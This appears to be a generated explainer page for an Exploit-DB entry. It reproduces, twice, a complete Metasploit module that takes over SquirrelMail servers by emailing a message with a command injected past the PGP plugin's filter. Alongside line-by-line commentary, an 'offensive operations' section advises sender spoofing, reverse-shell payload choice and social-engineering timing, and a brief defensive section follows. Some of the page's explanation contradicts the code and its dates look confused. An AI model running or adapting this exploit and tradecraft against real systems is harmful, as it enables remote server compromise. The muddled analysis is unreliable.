SquirrelMail PGP Plugin Command Execution via SMTP Exploit Explained

SquirrelMail PGP Plugin Command Execution via SMTP Exploit Explained
What this paper is
This document describes a Metasploit Framework module designed to exploit a command execution vulnerability in the PGP (Pretty Good Privacy) plugin for SquirrelMail. The vulnerability allows an attacker to execute arbitrary commands on the server by sending a specially crafted email. The exploit leverages the SMTP protocol to deliver this malicious email.
Simple technical breakdown
The core of the vulnerability lies in how the SquirrelMail PGP plugin handles certain email content. When a user with the PGP plugin enabled reads a specially crafted email, the plugin inadvertently allows commands embedded within the email's signature section to be executed on the server.
This Metasploit module works by:
- Constructing a malicious email: It creates an email with specific MIME headers and a body.
- Injecting the payload: The attacker's desired command (the payload) is inserted into the email body in a way that bypasses SquirrelMail's filters.
- Delivering via SMTP: The module uses the SMTP protocol to send this email to a target SquirrelMail instance.
- Triggering execution: When the email is read by a user with the PGP plugin active, the embedded command is executed on the server.
Complete code and payload walkthrough
The provided Ruby code defines a Metasploit module. Let's break it down:
##
# $Id: squirrelmail_pgp_plugin.rb 10148 2010-08-25 20:31:46Z egypt $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ManualRanking
#
# This module sends email messages via smtp
#
include Msf::Exploit::Remote::SMTPDeliver
def initialize(info = {})
super(update_info(info,
'Name' => 'SquirrelMail PGP Plugin command execution (SMTP)',
'Description' => %q{
This module exploits a command execution vulnerability in the
PGP plugin of SquirrelMail. This flaw was found while quickly
grepping the code after release of some information at
http://www.wslabi.com/. Later, iDefense published an advisory ....
Reading an email in SquirrelMail with the PGP plugin activated
is enough to compromise the underlying server.
Only "cmd/unix/generic" payloads were tested.
},
'License' => MSF_LICENSE,
'Version' => '$Revision: 10148 $',
'Author' => [ 'Nicob <nicob[at]nicob.net>' ],
'References' =>
[
['CVE', '2003-0990'],
['OSVDB', '3178'],
['URL', 'http://lists.immunitysec.com/pipermail/dailydave/2007-July/004456.html'],
['URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=330'],
['URL', 'http://www.wslabi.com/wabisabilabi/initPublishedBid.do?'],
],
'Stance' => Msf::Exploit::Stance::Passive,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Payload' =>
{
'Space' => 1024,
'BadChars' => '',
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby bash telnet',
}
},
'Targets' =>
[
[ 'SquirrelMail PGP plugin < 2.1', {} ],
],
'DisclosureDate' => 'Jul 9 2007',
'DefaultTarget' => 0))
end
def mime_defaults()
self.header.set("MIME-Version", "1.0")
self.header.set("Content-Type", "multipart/signed; boundary=\"#{self.bound}\"; protocol=\"application/pgp-signature\"; micalg=pgp-sha1")
self.header.set("Subject", '') # placeholder
self.header.set("Date", Time.now.strftime("%a,%e %b %Y %H:%M:%S %z"))
self.header.set("Message-ID",
"<"+
Rex::Text.rand_text_alphanumeric(rand(20)+40)+
"@"+
Rex::Text.rand_text_alpha(rand(20)+3)+
">"
)
self.header.set("From", '') # placeholder
self.header.set("To", '') # placeholder
end
def exploit
body =
# Display some junk
rand_text_alphanumeric(rand(128)+16) + "\n" +
rand_text_alphanumeric(rand(128)+16) + "\n" +
rand_text_alphanumeric(rand(128)+16) + "\n" +
rand_text_alphanumeric(rand(128)+16) + "\n" +
rand_text_alphanumeric(rand(128)+16) + "\n" +
rand_text_alphanumeric(rand(128)+16) + "\n" +
# Scroll down
"\n" * (rand(100)+35) +
# Escape filter and insert payload
"AAAA\\\";" + payload.encoded + ";echo \\\"BBBBB\n"
sig =
"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG\n\n " +
rand_text_alphanumeric(rand(20)+54) + "\n" +
rand_text_alphanumeric(rand(20)+34) + "\n" +
"-----END PGP SIGNATURE-----\n"
msg = Rex::MIME::Message.new
msg.extend(MessageExtend)
msg.mime_defaults
msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1)
msg.to = datastore['MAILTO']
msg.from = datastore['MAILFROM']
msg.add_part(body, "text/plain;charset=us-ascii;format=flowed", "quoted-printable", nil)
msg.add_part(sig, "application/pgp-signature", nil, "attachment; filename=signature.asc")
send_message(msg.to_s)
print_status("Waiting for a payload session (backgrounding)...")
end
end| Code Fragment/Block | Practical Purpose |
|---|---|
require 'msf/core' |
Imports the core Metasploit Framework library, providing access to its modules and APIs. |
class Metasploit3 < Msf::Exploit::Remote |
Defines a new Metasploit module that inherits from Msf::Exploit::Remote, indicating it's a remote exploit. |
Rank = ManualRanking |
Assigns a ranking to the exploit. ManualRanking suggests it requires specific conditions or manual intervention to be effective. |
include Msf::Exploit::Remote::SMTPDeliver |
Mixes in the SMTPDeliver capability, allowing the module to send emails via SMTP. |
def initialize(info = {}) |
The constructor for the module. It initializes module metadata like name, description, author, references, target platform, architecture, payload configuration, and targets. |
'Name' => 'SquirrelMail PGP Plugin command execution (SMTP)' |
The human-readable name of the exploit module. |
'Description' => %q{...} |
A detailed explanation of the vulnerability, its impact, and how the module exploits it. It mentions the PGP plugin and the impact of reading a crafted email. |
'Author' => [ 'Nicob <nicob[at]nicob.net>' ] |
The author of the Metasploit module. |
'References' => [...] |
A list of external references (CVE, OSVDB, URLs) related to the vulnerability. |
'Stance' => Msf::Exploit::Stance::Passive |
Indicates the exploit is passive, meaning it doesn't actively scan or probe the target but rather waits for a specific condition (like reading an email) to trigger. |
'Platform' => 'unix' |
Specifies the target operating system platform. |
'Arch' => ARCH_CMD |
Defines the target architecture for the payload. ARCH_CMD means the payload will be a command string. |
'Payload' => { ... } |
Configuration for the payload. |
'Space' => 1024 |
Maximum size allowed for the payload. |
'BadChars' => '' |
Characters that should not be present in the payload. An empty string means no bad characters are specified. |
'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl ruby bash telnet' } |
Compatibility settings for the payload, indicating it's a command-type payload and can work with various command interpreters. |
'Targets' => [ [ 'SquirrelMail PGP plugin < 2.1', {} ] ] |
Defines the specific target versions or configurations that the exploit is known to work against. Here, it's SquirrelMail PGP plugin versions prior to 2.1. |
def mime_defaults() |
A helper method to set standard MIME headers for the email. |
self.header.set("MIME-Version", "1.0") |
Sets the MIME version header. |
self.header.set("Content-Type", "multipart/signed; boundary=\"#{self.bound}\"; protocol=\"application/pgp-signature\"; micalg=pgp-sha1") |
Crucially sets the Content-Type to multipart/signed. This is a multipart email where one part is the actual content and another is a PGP signature. The boundary is a separator string. |
self.header.set("Subject", '') |
Sets an empty subject, which will be populated later. |
self.header.set("Date", Time.now.strftime("%a,%e %b %Y %H:%M:%S %z")) |
Sets the email's date header. |
self.header.set("Message-ID", ...) |
Sets a unique Message-ID for the email, using random alphanumeric characters. |
self.header.set("From", '') |
Sets an empty 'From' address, to be populated later. |
self.header.set("To", '') |
Sets an empty 'To' address, to be populated later. |
def exploit |
The main method that executes the exploit logic. |
body = ... |
Defines the email body content. |
rand_text_alphanumeric(rand(128)+16) + "\n" |
Generates random alphanumeric strings followed by a newline. This is used to fill the initial part of the email body with seemingly innocuous content. |
"\n" * (rand(100)+35) |
Inserts a large number of blank lines to push the malicious part further down the email, potentially to bypass simpler content filters or to make it appear as if the user needs to scroll to see the full content. |
"AAAA\\\";" + payload.encoded + ";echo \\\"BBBBB\n" |
This is the critical part for command injection. |
- `"AAAA\\\""`: This part is designed to break out of any expected string or command context. The `\` might be used to escape characters. The `"` is likely intended to close a quoted string.
- `payload.encoded`: This is where the actual command payload (e.g., a reverse shell command) is inserted.
- `;`: This is a command separator in many Unix-like shells. It allows the preceding command to finish and a new one to start.
- `echo \\\"BBBBB\n`: This is a "cleanup" command. It prints "BBBBB" and a newline. This is often used to signal the end of the injected command and to ensure the subsequent processing of the email doesn't encounter unexpected output or errors. The `\\\"` might be to escape quotes for the `echo` command itself.sig = ... | Defines the PGP signature part of the email."-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG\n\n " | Standard PGP signature header.rand_text_alphanumeric(rand(20)+54) + "\n" | Generates random alphanumeric strings for the signature content."-----END PGP SIGNATURE-----\n" | Standard PGP signature footer.msg = Rex::MIME::Message.new | Creates a new MIME message object from the Metasploit library.msg.extend(MessageExtend) | Extends the MIME message object with additional methods, likely for easier handling of parts and headers.msg.mime_defaults | Calls the mime_defaults method defined earlier to set standard MIME headers.msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1) | Sets the email subject. It uses a value from the datastore (Metasploit's configuration system) if provided, otherwise generates a random one.msg.to = datastore['MAILTO'] | Sets the recipient email address from the datastore.msg.from = datastore['MAILFROM'] | Sets the sender email address from the datastore.msg.add_part(body, "text/plain;charset=us-ascii;format=flowed", "quoted-printable", nil) | Adds the crafted email body as a plain text part, encoded in quoted-printable.msg.add_part(sig, "application/pgp-signature", nil, "attachment; filename=signature.asc") | Adds the PGP signature as an attachment. This is crucial for the multipart/signed content type.send_message(msg.to_s) | Sends the complete MIME message over SMTP. msg.to_s converts the MIME object into a raw email string.print_status("Waiting for a payload session (backgrounding)...") | Informs the operator that the module has sent the email and is now waiting for the payload to establish a connection (e.g., a reverse shell).
Payload Execution Flow:
The core of the exploit relies on the SquirrelMail PGP plugin processing the multipart/signed email. When the plugin attempts to verify or display the PGP signature, it likely parses the content in a way that misinterprets the injected command. The sequence AAAA\"; is designed to break out of the expected PGP signature context and enter a command execution context. The ; then separates the injected command from any subsequent legitimate PGP processing or cleanup commands. The echo \\\"BBBBB\n is a common technique to ensure the command execution finishes cleanly and to provide a visible marker if the output is captured.
Practical details for offensive operations teams
- Required Access Level: Network access to an SMTP server that can relay mail to the target. No direct access to the SquirrelMail server itself is required initially, only the ability to send email to a user on that server.
- Lab Preconditions:
- A running SMTP server (can be a local one for testing or a compromised external one).
- A target SquirrelMail instance accessible via email.
- A user account on the target SquirrelMail instance that has the PGP plugin installed and enabled.
- A controlled environment to receive the payload (e.g., a listener for a reverse shell).
- Tooling Assumptions:
- Metasploit Framework installed and configured.
- Knowledge of Metasploit's
datastorefor setting options likeMAILTO,MAILFROM, and potentiallySUBJECT. - Understanding of SMTP and MIME email structures.
- Execution Pitfalls:
- PGP Plugin Version: The exploit is specific to SquirrelMail versions with a vulnerable PGP plugin (prior to 2.1). If the plugin is not installed, is a different version, or is disabled, the exploit will fail.
- Email Filtering: The target's email gateway or SquirrelMail itself might have filters that detect or block suspicious email content, especially those with unusual MIME structures or embedded commands.
- SMTP Server Restrictions: The SMTP server used to send the email might have restrictions on sender addresses, recipients, or content, which could prevent delivery.
- Payload Encoding: While
BadCharsis empty, complex payloads might still encounter issues if they contain characters that are misinterpreted by the shell or the specific command interpreter on the target.ARCH_CMDpayloads are generally simpler. - User Action: The exploit is passive. It relies on a user reading the email. If the target user never reads the email, or if the email is filtered before reaching their inbox, the exploit will not trigger.
- Mailbox Size/Quota: Sending large amounts of junk data in the email body could potentially fill up a user's mailbox if not handled properly by the mail server.
- Tradecraft Considerations:
- Sender Spoofing: The
MAILFROMoption can be used to spoof the sender's address to make the email appear more legitimate. - Targeted Delivery: The
MAILTOoption must be set to a valid user on the target SquirrelMail instance. - Stealth: The module's passive nature makes it stealthy in terms of network scanning. The primary detection vector would be the email itself being logged or analyzed.
- Payload Choice: Use
cmd/unix/reverse_bash,cmd/unix/reverse_perl, etc., depending on what interpreters are likely available on the target.genericpayloads are often a fallback. - Timing: The exploit relies on the target user opening the email. This might require social engineering or waiting for opportune moments.
- Sender Spoofing: The
- Likely Failure Points:
- Target SquirrelMail does not have the PGP plugin installed or it's an unpatched version.
- Email never reaches the target inbox due to spam filters or mail server rules.
- The target user never opens the email.
- The specific command injection sequence is blocked by SquirrelMail's internal sanitization or by the underlying web server/PHP configuration.
- The SMTP server used to send the email is blocked or blacklisted.
Where this was used and when
- Approximate Year: The exploit module was published in August 2010, based on a vulnerability disclosed around July 2007.
- Context: This type of exploit would have been used in penetration testing engagements targeting organizations that used SquirrelMail with the PGP plugin. It's a classic example of exploiting web application vulnerabilities via email delivery. The vulnerability itself (CVE-2003-0990) is much older, dating back to 2003, but the Metasploit module was developed later.
Defensive lessons for modern teams
- Plugin Management: Regularly audit and update all plugins and extensions for web applications like SquirrelMail. Keep them patched to the latest versions.
- Email Security Gateways: Implement robust email security solutions that can inspect MIME headers, content, and attachments for malicious patterns, including command injection attempts.
- Web Application Firewalls (WAFs): While this exploit targets email delivery, a WAF might offer some protection if SquirrelMail's processing of the email content occurs in a way that a WAF can inspect. However, email content is often processed server-side after delivery.
- Principle of Least Privilege: Ensure the web server process running SquirrelMail has minimal necessary privileges. If a command execution vulnerability is exploited, the impact is limited if the web server process cannot perform critical system operations.
- Logging and Monitoring: Monitor web server logs and email server logs for suspicious activity, such as unusual email content, repeated delivery failures, or unexpected command execution attempts.
- Disable Unnecessary Features: If the PGP plugin is not required, disable or remove it to reduce the attack surface.
ASCII visual (if applicable)
This exploit is primarily about email delivery and server-side processing. An ASCII visual representing the email flow might be helpful:
+-----------------+ +-----------------+ +-----------------+
| Attacker's | --> | SMTP Server | --> | Target Mailbox |
| Metasploit | | (Sender) | | (SquirrelMail) |
| Module | +-----------------+ +--------+--------+
+-----------------+ |
| (User reads email)
v
+-----------------+
| SquirrelMail |
| PGP Plugin |
| (Vulnerable) |
+--------+--------+
|
v
+-----------------+
| Server Command |
| Execution |
+-----------------+Explanation:
- The attacker uses the Metasploit module to craft and send an email.
- The email is sent through an SMTP server.
- The email arrives in the target user's mailbox on the SquirrelMail server.
- When the user reads the email, the SquirrelMail PGP plugin processes it.
- Due to the vulnerability, the plugin executes the embedded command on the server.
Source references
- PAPER ID: 16888
- PAPER TITLE: SquirrelMail PGP Plugin - Command Execution (SMTP) (Metasploit)
- AUTHOR: Metasploit
- PUBLISHED: 2010-08-25
- PAPER URL: https://www.exploit-db.com/papers/16888
- RAW URL: https://www.exploit-db.com/raw/16888
- CVE: CVE-2003-0990
- OSVDB: OSVDB 3178
Original Exploit-DB Content (Verbatim)
##
# $Id: squirrelmail_pgp_plugin.rb 10148 2010-08-25 20:31:46Z egypt $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ManualRanking
#
# This module sends email messages via smtp
#
include Msf::Exploit::Remote::SMTPDeliver
def initialize(info = {})
super(update_info(info,
'Name' => 'SquirrelMail PGP Plugin command execution (SMTP)',
'Description' => %q{
This module exploits a command execution vulnerability in the
PGP plugin of SquirrelMail. This flaw was found while quickly
grepping the code after release of some information at
http://www.wslabi.com/. Later, iDefense published an advisory ....
Reading an email in SquirrelMail with the PGP plugin activated
is enough to compromise the underlying server.
Only "cmd/unix/generic" payloads were tested.
},
'License' => MSF_LICENSE,
'Version' => '$Revision: 10148 $',
'Author' => [ 'Nicob <nicob[at]nicob.net>' ],
'References' =>
[
['CVE', '2003-0990'],
['OSVDB', '3178'],
['URL', 'http://lists.immunitysec.com/pipermail/dailydave/2007-July/004456.html'],
['URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=330'],
['URL', 'http://www.wslabi.com/wabisabilabi/initPublishedBid.do?'],
],
'Stance' => Msf::Exploit::Stance::Passive,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Payload' =>
{
'Space' => 1024,
'BadChars' => '',
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby bash telnet',
}
},
'Targets' =>
[
[ 'SquirrelMail PGP plugin < 2.1', {} ],
],
'DisclosureDate' => 'Jul 9 2007',
'DefaultTarget' => 0))
end
def mime_defaults()
self.header.set("MIME-Version", "1.0")
self.header.set("Content-Type", "multipart/signed; boundary=\"#{self.bound}\"; protocol=\"application/pgp-signature\"; micalg=pgp-sha1")
self.header.set("Subject", '') # placeholder
self.header.set("Date", Time.now.strftime("%a,%e %b %Y %H:%M:%S %z"))
self.header.set("Message-ID",
"<"+
Rex::Text.rand_text_alphanumeric(rand(20)+40)+
"@"+
Rex::Text.rand_text_alpha(rand(20)+3)+
">"
)
self.header.set("From", '') # placeholder
self.header.set("To", '') # placeholder
end
def exploit
body =
# Display some junk
rand_text_alphanumeric(rand(128)+16) + "\n" +
rand_text_alphanumeric(rand(128)+16) + "\n" +
rand_text_alphanumeric(rand(128)+16) + "\n" +
rand_text_alphanumeric(rand(128)+16) + "\n" +
rand_text_alphanumeric(rand(128)+16) + "\n" +
rand_text_alphanumeric(rand(128)+16) + "\n" +
# Scroll down
"\n" * (rand(100)+35) +
# Escape filter and insert payload
"AAAA\\\";" + payload.encoded + ";echo \\\"BBBBB\n"
sig =
"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG\n\n " +
rand_text_alphanumeric(rand(20)+54) + "\n" +
rand_text_alphanumeric(rand(20)+34) + "\n" +
"-----END PGP SIGNATURE-----\n"
msg = Rex::MIME::Message.new
msg.extend(MessageExtend)
msg.mime_defaults
msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1)
msg.to = datastore['MAILTO']
msg.from = datastore['MAILFROM']
msg.add_part(body, "text/plain;charset=us-ascii;format=flowed", "quoted-printable", nil)
msg.add_part(sig, "application/pgp-signature", nil, "attachment; filename=signature.asc")
send_message(msg.to_s)
print_status("Waiting for a payload session (backgrounding)...")
end
end